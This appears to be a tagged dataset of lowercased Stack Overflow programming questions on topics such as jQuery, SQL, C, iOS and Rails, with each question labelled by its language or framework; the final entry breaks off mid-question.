how to make sure unique id will be generated   i am trying to assign a unique id to my button which is created dynamically this way     this is my code   <pre><code>for (var i = 0; i &lt; response.length; i++) {      var uniquenumber = new date().gettime();              var $ordernow = $( &lt;input/&gt; ).attr({                 type:  button                   name:  btn1                   class:  ordernow btn btn-  + classstyle +                     value:  order now                   id : uniquenumber                  style:  float:right              });      } </code></pre>   but sometimes i observe that the id that is being genertaed is sometimes same (however this is not happening every time) as shown above     this is the html that is generated for the above    <pre><code>&lt;div class= inner-intit &gt;    &lt;input type= button  name= btn1  class= ordernow btn btn-success  value= order now  id= 1412689973307  style= float:right &gt;    &lt;input type= button  name= btn1  class= ordernow btn btn-success  value= order now  id= 1412689973307  style= float:right &gt; &lt;/div&gt; </code></pre>   is there any solution  how to recitify this       just for additional information this is how the ui looks for my screen     <img src= https://i.stack.imgur.com/mbeyi.png  alt= enter image description here >,jquery
update table using newest value in another table  so we had a bit of an issue where an entire tables unique  crc  was set to  n/a   luckily we have another table that stored multiple versions of  crc  and if we use this we should be able to pull back the original  crc s     my basic concept is   <pre><code>update table1 set table1.crc = history.crc from table1 join history on table1.phonenum = history.phonenum where table1.field2 =  uniquefield2 here  </code></pre>   the problem with this is i don t know what crc s are being pulled    i want to pull the newest history.crc based on the column  calldatetime  and update table1.crc with this value    source of query above  <a href= https://stackoverflow.com/questions/19251258/update-table-based-on-all-values-in-another-table-as-parameters >update table based on all values in another table as parameters</a>,sql
rails/activerecord sub collection  i have three models: store  author  books    store has many authors which has many books.    what is the cleanest way to get a collection of all the books at the store     this works:   <pre><code>@store.authors.collect{|a| a.books}.flatten  </code></pre>   is there something in active record that i m missing that makes this cleaner     jake,ruby-on-rails
how can i get the package of a content provider from the query side of the model  i need to get the id of a content provider that is providing me with some data that i am querying from a query uri.     i guess this kind of goes against the idea of the content provider model - to abstract the client away from the content providers themselves  but i need to know which package has provided a certain piece of data.    i have the content resolver and i am performing a query against a uri. i need to know the id (uid  pid or package) of the application containing the content provider that is servicing the request.,android
uiviewcontentmodescaleaspectfit not working  sometimes <strong>uiviewcontentmodescaleaspectfit</strong> is not working.    my code is here:   <pre><code>uiimageview *searchiconview = [[uiimageview alloc] initwithframe:cgrectmake(0.0  0.0  45.0  25.0)]; searchiconview.contentmode  = uiviewcontentmodescaleaspectfit; searchiconview.image        = [uiimage imagenamed:@ search_icon ]; </code></pre>   please suggest any other idea,ios
unable to set cursor position in virtualbox  i have a dev machine in virtualbox. in this machine i try to set the position of the cursor. but it doesn t move.    my code:   <pre><code>[dllimport( user32.dll   entrypoint =  setcursorpos )] [return: marshalas(unmanagedtype.bool)] private static extern bool setcursorpos(int x  int y); public static void setcursorposition(int x  int y) {     bool res=setcursorpos(x  y);//this function doesn t move cursor     //in vm res=true; } </code></pre>   this code only works outside of the vm.,c#
what is the difference between these two ways of injecting into a controller in angular   i ve noticed that in documentation  it is standard to declare a controller with dependencies in angular as follows ...   <pre><code>angular.module( myapp   []) .controller( myctlr   [ $scope   function($scope){     // controller functionality goes here }]); </code></pre>   yet  i ve noticed that the following has exactly the same behavior ...   <pre><code>angular.module( myapp   []) .controller( myctlr   function($scope){     // controller functionality goes here }); </code></pre>   what is the difference between these two methods and what is the  correct  way if any,angularjs
multiple group by and count the grouped rows using mysql  i was having problems in creating counting rows by grouping based on a given field value. for example: i have a data structure like this:   <pre><code>+------+------------+ | id   | channel    | +------+------------+ | 1    |  facebook  | | 2    |  twitter   | | 3    |  facebook  | | 2    |  facebook  | | 4    |  twitter   | | 5    |  facebook  | | 2    |  twitter   | | 1    |  facebook  | | 2    |  twitter   | +------------+------+ </code></pre>   and i need this  we already know the category  they will be static i.e. facebook  and  twitter :   <pre><code>+------+------------+------------+---------+ | id   | facebook   |   twitter  |  total  | +------+------------+------------+---------+ | 1    |     2      |      0     |    2    | | 2    |     1      |      3     |    4    | | 3    |     1      |      0     |    1    | | 4    |     0      |      1     |    1    | | 5    |     1      |      0     |    1    | +------+------------+------------+---------+ </code></pre>   sqlfiddle link: <a href= http://sqlfiddle.com/#!9/7a6f1/4  rel= nofollow >here is the fiddle</a>    may not be the most elegant of answers but managed to come up with:   <pre><code>select user_id user_name    count(case when channel =  twitter  then channel end) twitter    count(case when channel =  facebook  then channel end) facebook    count(case when channel in ( twitter   facebook ) then channel end) total from april group by user_id order by total desc </code></pre>   if there improvements please  do answer or comment.,mysql
why can t i use fseek() function like this   i want to read content from file s end and print it to the screen. but fseek() function doesn t give permission me to reach line which is i need. i expressed in comment lines what i want to do. how can i solve this problem  thanks in advance   <pre><code> #include &lt;stdio.h&gt;  int main() {     file *ptrfile;     int i  k  value;   // variables for loops and values inside of file      if ((ptrfile = fopen( test.txt    w ))==null)   // open a file to just write knowledge in it     {         printf( file couldn t open..\n\n );     }     for (i = 1; i &lt;= 20; i++)   // write 20 lines to file (multiplying numbers with 5 from 1 to 20)      {         fprintf(ptrfile   %d\n   i * 5);     }     fclose(ptrfile);   // close the file      ptrfile = fopen( test.txt    r );   // open file read mode     printf( to display content from the beginning enter positive number or vice versa :  );   // read user choice     scanf( %d   &amp;i);     if (i &gt; 0)     {         fseek(ptrfile  0l  seek_set);         for (k = 1; k &lt;= i; k++)         {             fscanf(ptrfile   %d\n   &amp;value);             printf( %d\n   value);         }     }     else     {         fseek(ptrfile  -10l  seek_end);   // why does c give permission to write instead of -10l like i expressed below           fscanf(ptrfile   %d\n   &amp;value);         printf( %d\n   value);     }      /* like this!!       else     {     int x;             &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;     x= i*5;            &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;          fseek(ptrfile  -xl  seek_end); &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;         fscanf(ptrfile   %d\n   &amp;value);         printf( %d\n   value);     }*/      fclose(ptrfile);     return 0; } </code></pre>,c
i am trying to compare two number using sql query. for e.g 123.45 and 12345 are same if i ignore decimal so it should come in output  i am trying to compare two string using sql query. for e.g in table a i have a123.45 and in table b i have a12345. this two string are same if i ignore decimal point so as a output i would want table a s value.,sql
how to save and load again data on views when back many times in ios  i m working on a project that has many view controllers. suppose that they are: a -> b -> c -> d -> e ->f ->g -> h. each of them has a back and a next button to switch to another view and has many text fields.    i typed text into every textfield. from h view  i can go back to previous views by popviewcontroller and review typed data. but when i click on next button again  all of data on the view were lost. i need to back/next continuous without losing data. how can i do that,ios
count number of functions in c programme using c#  how can i count number of functions in c program file using c# program  i have  create a simple c# class to count the loc in c file.   <pre><code>private bool isinmultiplecomment = false;   private int getnumberoffuncions(fileinfo fs) {      streamreader rdr;     int count = 0;     string tempstr;      // initialize     rdr = fs.opentext();     tempstr = rdr.readline();      while (true)     {         if (tempstr == null)             break;         if (isfunction(tempstr))             count++;         tempstr = rdr.readline();     }     return count;  } </code></pre>   supportive method:   <pre><code>private bool isfunction(string line)     {         if (line.contains( // ))             return false;         if (line.contains( /* ))             isinmultiplecomment = true;         if (line.contains( */ ))             isinmultiplecomment = false;          if (!isinmultiplecomment)         {             if (line.contains( void ) || line.contains( int ) || line.contains( short ) || line.contains( long ) || line.contains( float ) || line.contains( char ) || line.contains( double ))             {                 if (!line.contains( ; ))                 {                     return true;                 }             }         }         return false;     } </code></pre>   this is how i count variables:   <pre><code>private int getnumberofvariables(fileinfo fs)     {         streamreader rdr;         int count = 0;         string tempstr;          // initialize         rdr = fs.opentext();         tempstr = rdr.readline();          while (true)         {             if (tempstr == null)                 break;             count += getvariblesofline(tempstr);             tempstr = rdr.readline();         }         return count;     } </code></pre>   supportive method:   <pre><code>private int getvariblesofline(string line)     {         line = line.trim();  // trim the lines          if (line.contains( # ))     // remove preprocessive declarations             return 0;         if (line.contains( // ))             return 0;         if (line.contains( /* ))             isinmultiplecomment = true;         if (line.contains( */ ))             isinmultiplecomment = false;         if (!isinmultiplecomment)         {             if (line.contains( unsigned ) || line.contains( signed ) || line.contains( int ) || line.contains( short ) || line.contains( long ) || line.contains( float ) || line.contains( char ) || line.contains( double ))             {                 if (!line.contains( ( ))    // remove if this is function                 {                     console.writeline(line);                     if (line.contains(   ))     // count at multiple declarations                     {                         int y = line.count(f =&gt; f ==    );                         return y + 1;                     }                     return 1;                 }             }         }         return 0;     } </code></pre>,c#
return 1 or 0 as a subquery field with exists   i m struggling to figure this one out. what i want to do is like so:   <pre><code>select [fields]         ((select &lt;criteria&gt;) return 0 if no rows returned  return 1 if any rows returned) as subqueryresult where a=b </code></pre>   is this possible,sql
cpp empty array declaration  hello i have the following test code and i am confused about cpp.   <ol> <li> if you declare in library.h an array with an empty element clause .. what will the compiler pick  it does also not complain  i use cygwin. </li> <li> in library.cpp i assign values to two elements  is the compiler assuming an array with one element and i write the second element outside the scope of the array  </li> </ol>  <h3>library.h</h3>  <pre><code>#ifndef library_h #define library_h  class library {  public:     void print();     char a[]; };  #endif </code></pre>  <h3>library.cpp</h3>  <pre><code>#include &lt;stdio.h&gt; #include  library.h   void library::print() {     a[0] =  a ;     printf( 1. element: %d\n   a[0]);     a[1] =  b ;     printf( 2. element: %d\n   a[1]); } </code></pre>  <h3>client.cpp</h3>  <pre><code>#include &lt;stdio.h&gt; #include  library.h   void execute(); library l;  int main() {     l = library();     l.print();     return 0; } </code></pre>  <h3>makefile</h3>  <pre><code>options=-wall  all: main  run: main         ./main.exe  main: client.o library.o         g++ $(options) -o main $^  library.o: library.cpp library.h         g++ $(options) -c $&lt;  .cpp.o:         g++ $(options) -c $&lt;  clean:         rm -r *.o </code></pre>,c++
best approach for a query with multiple parameters  we ve been trying to automate a webservice using selenium eclipse and http components.    in one of the queries we have we are passing two parameters  param1  and  param2  which will look like this in the endpoint url: <a href= http://xxx.xx.xx.xxxx:8080/sample/  rel= nofollow noreferrer >http://xxx.xx.xx.xxxx:8080/sample/</a><strong> param1=value1&amp;param2=value2</strong>    we have an existing framework where we get the parameters from an excel sheet data table so users are free to change <strong>param1</strong>  <strong>param2</strong>  <strong>value1</strong> or <strong>value2</strong> and then pass the values as part of the whole url for execution    we won t have any problems when handling only one parameter/value as we would have something like this:   <pre><code>string url =  http://xxx.xx.xx.xxxx:8080/sample/ +param1+ = +value1; </code></pre>   where both param1 and value1 will be retrieved from our data table.     my question is  what will be the best approach in setting up the string url when parameters can be one or two. so that when i pass two parameter values they will automatically be joined by  &amp;  ( param1=value1&amp;param2=value2) but when i m only passing one it will stop at this ( param1=value1).     sorry if this is a dumb question  i m just starting to learn automation and would like to get the best approach for this. i was thinking this can be done by simple if else statement or having param2 include the &amp; character but still would like to get advise,java
running apps in background or active   actually i am working on iphone app.i wanted to trac the sate of application or number of application which are in background same for number of apps which are in active state. can you have any idea how to trac the task.as i think it s related to task manager. please give me some pointer. thanks,ios
like excel mround function in javascript  i am trying to round a decimal number to nearest fraction number which end with 0 or 5 in javascript.example if value is 543.55 should return 545 and if value is 541.99 should return 540. i tried with math.round()  but not able to achieve. kindly suggest me how to achieve that. thanks in advance  bijay,javascript
can i get a value from std::map without crashing if the key doesn t exist   i have c++ code like this:   <pre><code>if(rtstructure.find(varname) != rtstructure.end()) {     rtdef = rtstructure[varname]; } </code></pre>   where rtstructure is std::map with std::string for the key. this code works but it seems like a waste to make it search twice for the same key. if i omit the if case around the assignment  the program crashes if varname points to a key that doesn t exist.    can i in a single map operation look up a key in a std::map and get its value if it exists  without crashing if it doesn t exist,c++
compiling html templates to complete website  i m used to using asp.net and visual studio to develop websites. i m trying to develop a plain .html website in a similar matter. what i mean is use master pages etc so there is code reuse and maybe deploy these template files to a group of .html files.    for example    head.html   <pre><code>&lt;script src= jquery.js  type= text/javascript &gt;&lt;/script&gt; &lt;script src= jquery.ui.js  type= text/javascript &gt;&lt;/script&gt;  &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt;  &lt;link rel= stylesheet  href= http://code.jquery.com/mobile/1.2.0/jquery.mobile-1.2.0.min.css  /&gt; &lt;script src= http://code.jquery.com/jquery-1.8.2.min.js &gt;&lt;/script&gt; &lt;script src= http://code.jquery.com/mobile/1.2.0/jquery.mobile-1.2.0.min.js &gt; </code></pre>   header.html   <pre><code>&lt;div data-role= header &gt;     &lt;h1&gt;page title&lt;/h1&gt; &lt;/div&gt;&lt;!-- /header --&gt; </code></pre>   footer.html   <pre><code>&lt;div data-role= footer &gt;     &lt;h4&gt;page footer&lt;/h4&gt; &lt;/div&gt;&lt;!-- /footer --&gt; </code></pre>   layout.html   <pre><code>&lt;!doctype html&gt;  &lt;html&gt;  &lt;head&gt;      &lt;title&gt;page title&lt;/title&gt;          #include(head.html) &lt;/script&gt; &lt;/head&gt;  &lt;body&gt;   &lt;div data-role= page &gt;      #include(header.html)      #include_body()      #include(footer.html)  &lt;/div&gt;&lt;!-- /page --&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   index.html   <pre><code>&lt;div data-role= content &gt;        &lt;p&gt;page content goes here.&lt;/p&gt;       &lt;/div&gt;&lt;!-- /content --&gt; </code></pre>   and combine all of these into a single output file....   <pre><code>&lt;!doctype html&gt;  &lt;html&gt;  &lt;head&gt;      &lt;title&gt;page title&lt;/title&gt;       &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt;       &lt;link rel= stylesheet  href= http://code.jquery.com/mobile/1.2.0/jquery.mobile-1.2.0.min.css  /&gt;     &lt;script src= http://code.jquery.com/jquery-1.8.2.min.js &gt;&lt;/script&gt;     &lt;script src= http://code.jquery.com/mobile/1.2.0/jquery.mobile-1.2.0.min.js &gt;&lt;/script&gt; &lt;/head&gt;  &lt;body&gt;   &lt;div data-role= page &gt;      &lt;div data-role= header &gt;         &lt;h1&gt;page title&lt;/h1&gt;     &lt;/div&gt;&lt;!-- /header --&gt;      &lt;div data-role= content &gt;            &lt;p&gt;page content goes here.&lt;/p&gt;           &lt;/div&gt;&lt;!-- /content --&gt;      &lt;div data-role= footer &gt;         &lt;h4&gt;page footer&lt;/h4&gt;     &lt;/div&gt;&lt;!-- /footer --&gt; &lt;/div&gt;&lt;!-- /page --&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   does anything like this exist  i m not familiar with ruby or anything...,html
render list starting from the bottom of its container  trying to make a drop down  but struggling to figure out how to make the dropdown start below the button. i have this:    <a href= https://jsfiddle.net/wg4apx2q/  rel= nofollow noreferrer >https://jsfiddle.net/wg4apx2q/</a>   <pre><code>&lt;div&gt;     &lt;ul&gt;         &lt;li&gt;item 1&lt;/li&gt;         &lt;li&gt;item 2&lt;/li&gt;         &lt;li&gt;item 3&lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt;  &lt;style&gt; div{     width: 200px;     height: 100px;     background: #ddd;     position: relative; } ul {  } li {     width: 100px;     height: 50px;     background: yellow; } &lt;/style&gt; </code></pre>   and i m trying to get this:    <img src= https://i.stack.imgur.com/0t5ky.png  alt= desired >    how can i get the dropdown to start rendering below its container and keep expanding directly down,css
use of wildcards in java generics  i am attempting to understand java generic wildcards.i came across a basic program.it appears to me that the only thing that can be added to the list s is  null . you cannot add for example   <pre><code>s.add(new integer (4));   or  s.add(new char(a)); </code></pre>   before reading a lot of material and confusing my mind i am attempting to understand where the java designers are going with introducing wildcards in generics.from my point of view i cannot see any useful feature coming from generic wildcards.it is possible that it appears so due to my lack of experience and since i am new to java.it would be good if people could share their thoughts on the matter.   <pre><code>import java.util.linkedlist; import java.util.iterator;  public class wildcardexampleone {      public static void main(string[] args)     {         linkedlist&lt; &gt; s = new linkedlist&lt;integer&gt;();         s.add(null);          iterator&lt; &gt; x = s.iterator();          object o = x.next();          system.out.println(o);          /* note that linkedlist&lt; &gt; is not the same type as linkedlist&lt;object&gt;          * here are some statements that wouldn t compile:          */         // s.add(new integer(3));          // iterator&lt;object&gt; x = s.iterator();     } } </code></pre>,java
combining 2 separate sql queries with separate select statement  i m new to sql and vb so i m wondering if anybody can help me out this is the table that i have now    <pre><code>id total_leadsource total_opportunity 2   1                 3 2   8                 16  </code></pre>   and i want to combine the total_leadsource and total_opportunity of the same id   <pre><code>select distinct id leadsource sum (weightedamount) as weighted_amount         count(distinct oppleadsourceid) + count (distinct case when oppleadsourceid is null then 0 end) as total_leadsource         count(oppleadsourceid) as total_opportunity from leads a left join opportunity b on b.source = a.id where (ownercode =1486         or aocode =1486         or pm = 1486 ) group by id leadsource union  select distinct id leadsource sum (weightedamount) as weighted_amount         count(distinct oppleadsourceid) + count (distinct case when oppleadsourceid is null then 0 end) as total_leadsource         count(oppleadsourceid) as total_opportunity from leads  a left join opportunity b on b.source = a.id where (ownercode =55856         or aocode =55856         or pm = 55856 ) group by id leadsource </code></pre>,sql
how would you do give the user a preference for how from an sql table is to be printed   i m given a task from a prospective employer which involves sql tables.  one requirement that they mentioned is that they want the name retrieved from a table called  employees  to come in the form at of either  <code>&lt;lastname&gt;  &lt;firstname&gt;</code>  or  <code>&lt;firstname&gt; &lt;middlename&gt; &lt;lastname&gt; &lt;suffix&gt;</code> . this appears confusing to me because this kind of sounds like they re asking me to make a function or something.  i could probably do this in a programming language and have the information retrieved that way  but to do this in the sql table exclusively is weird to me.  since i m rather new to sql and my familiarity with sql doesn t exceed simple tasks such as creating databases  tables  fields  inserting data into fields  updating fields in records  deleting records in tables which meet a specific condition  and selecting fields from tables.    i hope that this isn t considered cheating since i mentioned that this was for a prospective employer  but if i was still in school then i could just outright ask a professor where i can find a clue for this or he would ve outright told me in class.  but  for a prospective job  i m not sure who i would ask about any confusion.  thanks in advance for anyone s help.,sql
get method arguments dynamically in objective-c  i m new to objective-c.    <code>[deskcalc add: 55];  nslog(@ after adding %f to accumulator  accumulator is :%f   55  [deskcalc accumulator]);</code>    some context; this is a snippet from a simple calculator program that looks fairly similar to the one found in the first post in <a href= http://classroomm.com/objective-c/index.php topic=6284.msg17223#msg17223  rel= nofollow noreferrer >this thread</a>. as its name suggests  the add method add s the argument to an integer variable  accumulator   which stores the final value. finally  the accumulator method simply returns the variable.    my question is: rather than having to manually type the argument (55 in this case) after the string  is it possible to have code that references whichever argument is passed on to the add method (dynamically)     i ve seen other questions (such as <a href= https://stackoverflow.com/questions/8022134/get-arguments-of-objective-c-method-by-index >this</a> and <a href= https://stackoverflow.com/questions/12793406/objective-c-accessing-variadic-arguments-in-method >this</a>)   that at least <em>sound</em> somewhat simlar to a noob like myself  but i haven t been able to join the dots and figure out a solution.,objective-c
where to find the ihasapp framework   my app got rejected 2 times due to this issue:      specifically  we found that this app checks for all apps installed on this device by scanning all known url schemes using a service called ihasapp     my code doesn t have the ihasapp framework  i tried to search for it but i can t find it.,objective-c
initwithcoder method keep causing crashes when it gets called  in my project  i have imported some third party frameworks like google-maps. everything work fine when compiling  but when it runs  the app crashes and i could track the suspicious method:   <pre><code>//invoked when the class is instantiated in xib -(id)initwithcoder:(nscoder*)adecoder {     self = [super initwithcoder:adecoder];     if(self)     {         [self custominitialization];     }     return self; } </code></pre>   here is the stack of the crash i got:   <pre><code>testmapdirections[1343:11603] *** terminating app due to uncaught exception  nsinvalidargumentexception   reason:  *** -[nsurl initfileurlwithpath:]: nil string parameter  *** first throw call stack: (0x13ea052 0x2035d0a 0x1392a78 0x13929e9 0xae854b 0xae84d5 0x23e3f 0x23d17 0x223b0 0x2230b 0x29e5 0x2ae6 0x3d3335 0x4d1fa2 0x4d16b7 0x3d2ead 0x4d1fa2 0x4d19af 0x4d16b7 0x3d2305 0x5d884f 0x5d8dd7 0x13ebec9 0x1b75c2 0x1b755a 0x25cb76 0x25d03f 0x25c2fe 0x1dca30 0x1dcc56 0x1c3384 0x1b6aa9 0x1601fa9 0x13be1c5 0x1323022 0x132190a 0x1320db4 0x1320ccb 0x1600879 0x160093e 0x1b4a9b 0x2478 0x23d5) terminate called throwing an exceptionsharedlibrary apply-load-rules all current language:  auto; currently objective-c </code></pre>   you can download <a href= http://www.2shared.com/file/vlxn-_r_/testmapdirections.html  rel= nofollow >my application</a> and try it on your stuff  maybe you can help me more figure out the problem  thanx in advance.    <strong>edit:</strong> @json coco: here is the code of the <code>custominitialization</code> method:   <pre><code>-(void)custominitialization {     // do the initialization of class variables here..      mdirections          = [uicgdirections shareddirections];     mdirections.delegate = self; } </code></pre>,ios
returning a string from an if statement from another class  my code returns an error in my public static string validatecreditscore(int creditscore  string status) that a local or parameter named  status  cannot be declared in this scope because that name is used in an enclosing local scope to define a local or parameter.     basically i just want to return that statement so i can place it in my placeholder where it says  {0} is {1}  applicantname  applicant.status. i want the statement to say the name and say wheater the credit score is acceptable or not.     my question is do i even need the string status in my public static string validatecreditscore(int creditscore  string status) since i m already passing the credit score into it  or do i need it because i am returning something...   <pre><code>using system;  public class mortgageapplication { public static void main(string[] args) {     int creditscore = 0;     string applicantname =   ;     char userinput =  n ;     string status =   ;      console.writeline( ** cscc mortgage company ** );     console.write( \nwould you like to run this program [y  n]   );     userinput = convert.tochar(console.readline());      while (!(userinput ==  n ))     {         console.write( please enter the applicant s name:  );         applicantname = console.readline();         console.write( enter credit score:  );         creditscore = convert.toint32(console.readline());          try         {             applicant applicant = new applicant(applicantname  creditscore  status);             console.writeline( {0} is {1}   applicantname applicant.status);         }          catch (argumentexception anyexception)         {             console.writeline(anyexception.message);         }          console.write( would you like to run this program [y  n]   );         userinput = convert.tochar(console.readline());      }      console.writeline( please press the &lt;enter&gt; key to terminate the program. );     console.readline(); } }  public class applicant { public applicant(string name  int creditscore  string status) {     name = name;     creditscore = creditscore;     status = validatecreditscore(creditscore  status); }  public string name { get; private set; } public double creditscore { get; private set; } public string status { get; private set; }  public static string validatecreditscore(int creditscore  string status) {     try     {         if (creditscore &lt;= 299 &amp;&amp; creditscore &gt;= 851)         {              throw new argumentexception( value does not fall within the expected range. );          }          if (creditscore &lt;= 649)         {             string status = convert.tostring( not accepted );             return status;         }          if (creditscore &gt;=650 )         {             string status = convert.tostring( accepted );             return status;         }      }      catch (argumentexception anyexception)     {         console.writeline(anyexception.message);      }     return  not accepted ; } } </code></pre>,c#
use an object as dictionary key  i want to use the following object as dictionary key. if the <strong>category</strong> and <strong>target</strong> are equal  the key are equal. any solution    <pre><code>public class targetkey {     public targetkey(categories category_arg  string target_arg)     {         catetory = category_arg;         target = target_arg;     }     private categories catetory;     public categories catetory     {         get { return catetory; }         //set { catetory = value; }     }     private string target;     public string target     {         get { return target; }         //set { target = value; }     } } </code></pre>  <hr>  <h2>bad solution</h2>   it seems <code>gethashcode()</code> is called first  if the hash equals  then <code>equals()</code> is called. so i add the following 2 methods:   <pre><code>    public override bool equals(object obj)     {         targetkey other = obj as targetkey;         return other.catetory == this.catetory &amp;&amp; other.target == this.target;     }      public override int gethashcode()     {         return 0;  //this will leads to only 1 bucket  which defeat the idea of dictionary.     } </code></pre>  <h2>refined solution</h2>  <pre><code>    public override bool equals(object obj)     {         targetkey other = obj as targetkey;         return other.catetory == this.catetory &amp;&amp; other.target == this.target;     }      public override int gethashcode()     {         int32 hash = this.target.gethashcode() + this.catetory.gethashcode();          // this will introduce some more buckets. though may not be as many as possible.         return hash;     } </code></pre>,.net
value validation  data:   <pre><code>var dataarr = [     {id: 123  str: alexey ayzin   bg: #ffffff }      {id: 234  str: mira mdivani }      {id: 345  str: maria iliakova }      {id: 456  str: dennis ayzin } ]; </code></pre>   as you can see  bg: ffffff  exists in one of the subsets  but not the others. how can i change this:   <pre><code>for (var i = 0; i &lt; datalength; i++) {     if(dataarr[i].bg ===  undefined ){         data[i].bg = stringtocolour(dataarr[i].str);     } } </code></pre>   so that it checks each subset for the existence of a bg and if it doesn t exist  fills it with one. <a href= https://jsfiddle.net/frtvq0hu/4/ >jsfiddle</a>,javascript
how to count aggregates over a date in mysql  i m trying to do a cumulative aggregate in mysql.    my raw data looks like this: <em>(my dates are month/day/year)</em>   <pre><code>user_id    created_at    source 1          1/1/01        foo 2          1/1/01        foo 3          1/2/01        bar 4          1/2/01        foo 5          1/3/01        foo      .... </code></pre>   given this  i d like to make a result that looks like this:   <pre><code>date    source    total_in_source 1/1/01  foo       2 1/2/01  foo       3 1/3/01  foo       4 </code></pre>   where total_in_source is an aggregate of the number of users created_at between the first and the current value of date.    i can do this using a correlated subquery  but that s a bit inefficient:   <pre><code>select  date(user.created_at) d  user.source as user_source  (select count(*) from users u where u.source = user_source and month(u.created_at) &lt;= month_joined) as total_users_source  from users user group by d  user_source </code></pre>   i ve done some looking around and it seems like doing this might be a step in the right direction:   <pre><code>select date(u1.created_at) as  d   u1.source as  source    count(distinct u2.id) as count_users from users u1  users u2 where u2.created_at between date(u1.created_at) and date_add(date(u1.created_at)  interval 1 day) and group by d  source </code></pre>   but even this is a self-join and produces n^2 rows to iterate over (users * users). is there  a best-practice on how to do this     thanks in advance.,mysql
is there a reason why i sometimes read in books  layoutsubviews method  and sometimes  drawrect: method    i am wondering why in books and apple documentation sometimes a method has that colon as suffix  but sometimes not. i guess it means that if it has no colon  it has no parameter. on the other side  if it has a colon  it has exactly one parameter. right or wrong,objective-c
pause / play background audio from other apps  i know this is likely way outside of the sandbox but i thought i d ask anyway:    i want to put a  pause / play  button in my app that will pause or play any background audio. basically i m looking to implement the play/pause button found in the multi-task bar.    a simple example is someone stars music with pandora app  then launches my app. is it possible to pause the background audio and resume it     as a curiosity i have wondered if there was a way to create or broadcast the  remote control  events. can i publish a pause/play event to the os  perhaps,ios
file variables persisting between separate functions in c  i have a straight forward c file that creates a simple tree with 3 possible children for each node. my goal is to find the sum of the data within a given node and all of its children. i am doing this with recursion and it works one time but then when it gets ran twice in a row the value of the old method is staying and i am not sure why. meaning when it is called again the two data values are added instead of it just resetting to 0 like i have at the top of the class. not sure why this is happening. here is the code.   <pre><code>struct n *mknode(struct n *xp  struct n *yp  struct n *zp  long n) { struct n *p = malloc(sizeof(struct n)); p-&gt;x = xp; p-&gt;y = yp; p-&gt;z = zp; p-&gt;data = n; return p; }  int main(int argc  const char *argv[]) { struct n *p1  *p2  *p3  *p4  *p5  *p6;  // construct a tree for testing:  p1 = mknode(null  null  null  1); p2 = mknode(null  null  null  10); p3 = mknode(null  null  null  100); p4 = mknode(p1  p2  p3  3000); p1 = mknode(null  null  null  1); p2 = mknode(null  null  null  10); p3 = mknode(null  null  null  100); p5 = mknode(p1  p2  p3  4000); p5 = mknode(p4  p5  null  50000); p6 = mknode(p5  null  null  100000);  // to test only on trees  remove the following // assignments that turn the tree into a graph //p1-&gt;x = p5; //p2-&gt;y = p4; //p2-&gt;z = p2; //p6-&gt;y = p5; //p6-&gt;z = p6;  long s = sum(p6); long x = sum(p6); </code></pre>   s and x should have the same value but x is double s for some reason. this is the function code in a separate class.   <pre><code>long data = 0;  long sum(struct n *p){ printf( %ld\n   data); if (p != null){     sum(p-&gt;x);     sum(p-&gt;y);     sum(p-&gt;z);     return data += p-&gt;data; } return 0; } </code></pre>   here is the initial struct in a header file.   <pre><code>struct n { struct n *x; struct n *y; struct n *z; long data; }; </code></pre>,c
dynamically add new elements and add new sub-element on the selected element in angularjs  i am new to angularjs and i m wondering on how to achieve this below sample.    section 1 -- sub section 1 -- sub section 2 -- sub section 3    section 2 -- sub section 1 -- sub section 2    where user can add more sections dynamically and from that section he/she can add more sub sections dynamically. also  how can i get the index of specific element. hope i explained it properly. thanks in advance :)    <a href= https://i.stack.imgur.com/rs003.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/rs003.jpg  alt= enter image description here ></a>,angularjs
how to make the connection string of an application in c#.net computer independent   as i transfer my application in c#.net from one computer to another  i have to change the connection string every time as the location of the database file has changed.    how can i can i prevent this so that i don t have to change the connection string again and again,c#
jquery.each and .html not behaving as expected  i would expect this:   <pre><code>$( .iat_map ).each(function(i el) {     $(el).html(opt_list); }); </code></pre>   and this:   <pre><code>$( .iat_map ).html(opt_list); </code></pre>   to do the same thing. however  when i try the former  it clears the contents instead of replacing it with <code>opt_list</code>. (<code>.iat_map</code> refers to a bunch of <code>&lt;selects&gt;</code>).    if i <code>console.log(opt_list)</code> inside that <code>each()</code>  it ouputs as expected.    what gives      <a href= http://jsfiddle.net/mnbayazit/u9agp/1/  rel= nofollow >made a fiddle</a>. perfectly reproducible (in chrome 21 at least).,jquery
rails: undefined method for nilclass running even in false if statement  i have two models: image and video.  an image belongs to a video sometimes  but not always  but a video always belongs to an image (this is because i generate a thumbnail image for videos that get uploaded to the site  but users can upload regular images as well that don t have an associated video).    in my view  i go through all images and check if any of the images have an associated video.  if it does  then it should create something based on the video s attribute  embed_url .    when i tried running the code  i kept getting the error:   <pre><code>undefined method `embed_url  for nil:nilclass </code></pre>   i didn t understand why  so i made my if statement :if(false)   and i still get the error even though the code should never get to that part of the if statement.  what am i doing wrong    <pre><code>&lt;% step.images.order( position ).each_with_index do |image  index| %&gt;      &lt;% rails.logger.debug  image #{image.id} %&gt;        &lt;script type= text/javascript &gt;       &lt;% has_video = !image.video.blank  %&gt;        &lt;% rails.logger.debug  image #{image.id} has_video: #{has_video} %&gt;        var has_video = boolean(&lt;%=has_video%&gt;);          // add step images to carousel         if(&lt;%=index%&gt;==0){            if(false){               $( .carousel-inner.&lt;%=step.id%&gt; ).append( &lt;div class= item active &gt;               &lt;div class= flex-video &gt; &lt;a class= fancybox  href= &lt;%=**image.video.embed_url**%&gt;  rel= gallery &lt;%=step.id%&gt;  data-fancybox-type= iframe &gt;&lt;iframe src= &lt;%=image.video.embed_url%&gt;  id= &lt;%=image.id%&gt; &gt;&lt;/iframe&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt; );            }           else{            $( 